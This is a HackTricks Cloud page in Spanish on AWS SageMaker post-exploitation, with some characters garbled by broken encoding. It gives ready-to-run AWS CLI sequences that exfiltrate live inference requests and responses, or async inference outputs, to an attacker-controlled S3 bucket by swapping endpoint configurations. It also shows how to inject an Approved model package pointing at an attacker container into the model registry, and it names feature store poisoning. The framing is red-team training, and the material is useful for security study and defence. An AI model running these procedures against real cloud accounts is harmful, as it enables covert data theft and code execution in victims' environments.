AWS - SageMaker Post-Exploitation
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Abusar de la gesti贸n de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el model ni el container. Usa una rolling update de cero/bajo tiempo de inactividad y solo requiere permisos de gesti贸n del endpoint.
Requirements
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(or use an existing bucket in the same account) - Optional (if using SSE鈥慘MS):
kms:Encrypton the chosen CMK - Target: An existing InService real鈥憈ime endpoint in the same account/region
Steps
- Identify an InService endpoint and gather current production variants
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- Preparar el destino S3 del attacker para capturas
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- Crear un nuevo EndpointConfig que mantenga las mismas variantes pero habilite DataCapture en el bucket del atacante
Nota: Usa tipos de contenido expl铆citos que satisfagan la validaci贸n del CLI.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Aplicar la nueva configuraci贸n mediante un rolling update (downtime m铆nimo/nulo)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Genera al menos una llamada de inferencia (opcional si existe tr谩fico en vivo)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Validar capturas en el S3 del atacante
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Impacto
- Exfiltraci贸n completa de los payloads de solicitudes y respuestas de inferencia en tiempo real (y metadatos) desde el endpoint objetivo a un S3 bucket controlado por el atacante.
- Sin cambios en la imagen del modelo/container y solo cambios a nivel de endpoint, lo que permite una v铆a sigilosa de robo de datos con m铆nima interrupci贸n operativa.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Abusar de la gesti贸n de endpoints para redirigir las salidas de inferencia as铆ncrona a un S3 bucket controlado por el atacante clonando el EndpointConfig actual y configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el modelo/container.
Requisitos
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: Capacidad para escribir en el S3 bucket controlado por el atacante (v铆a el rol de ejecuci贸n del modelo o una bucket policy permisiva)
- Target: Un endpoint InService donde las invocaciones as铆ncronas se est谩n (o se van a) utilizar
Pasos
- Recolectar los ProductionVariants actuales del endpoint objetivo
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Crea un bucket del atacante (aseg煤rate de que el rol de ejecuci贸n del modelo pueda PutObject en 茅l)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- Clonar EndpointConfig y redirigir las salidas de AsyncInference al attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Disparar una invocaci贸n as铆ncrona y verificar que los objetos lleguen al S3 del atacante
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Impacto
- Redirige resultados de inferencia as铆ncrona (y cuerpos de error) a S3 controlado por el atacante, permitiendo la exfiltraci贸n encubierta de predicciones y, potencialmente, de entradas pre/post-procesadas sensibles producidas por el contenedor, sin cambiar el c贸digo o la imagen del modelo y con tiempo de inactividad m铆nimo o nulo.
Inyecci贸n en la cadena de suministro del SageMaker Model Registry v铆a CreateModelPackage(Approved)
Si un atacante puede ejecutar CreateModelPackage en un SageMaker Model Package Group objetivo, puede registrar una nueva versi贸n del modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchos pipelines de CI/CD despliegan autom谩ticamente versiones de modelo Approved a endpoints o training jobs, lo que resulta en ejecuci贸n de c贸digo del atacante bajo los roles de ejecuci贸n del servicio. La exposici贸n entre cuentas puede ampliarse por una pol铆tica de recurso permisiva en ModelPackageGroup.
Requisitos
- IAM (m铆nimo para comprometer un grupo existente):
sagemaker:CreateModelPackageen el ModelPackageGroup objetivo - Opcional (para crear un grupo si no existe):
sagemaker:CreateModelPackageGroup - S3: Acceso de lectura al ModelDataUrl referenciado (o alojar artefactos controlados por el atacante)
- Objetivo: Un Model Package Group que la automatizaci贸n downstream vigila para versiones Approved
Pasos
- Establecer la regi贸n y crear/encontrar un Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Preparar datos de modelo de prueba en S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Registrar una Approved model package version maliciosa (aqu铆 benigna) que haga referencia a una imagen p煤blica de AWS DLC
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Verifica que exista la nueva versi贸n Approved
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Impacto
- Envenenar el Model Registry con una versi贸n Approved que haga referencia a c贸digo controlado por el atacante. Las Pipelines que auto-despliegan modelos Approved pueden descargar y ejecutar la imagen del atacante, permitiendo ejecuci贸n de c贸digo con los roles endpoint/training.
- Con una pol铆tica de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse entre cuentas.
Envenenamiento del Feature Store
Abusar de sagemaker:PutRecord en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por la inferencia en l铆nea. Combinado con sagemaker:GetRecord, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni endpoints.
{{#ref}} feature-store-poisoning.md {{/ref}}
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

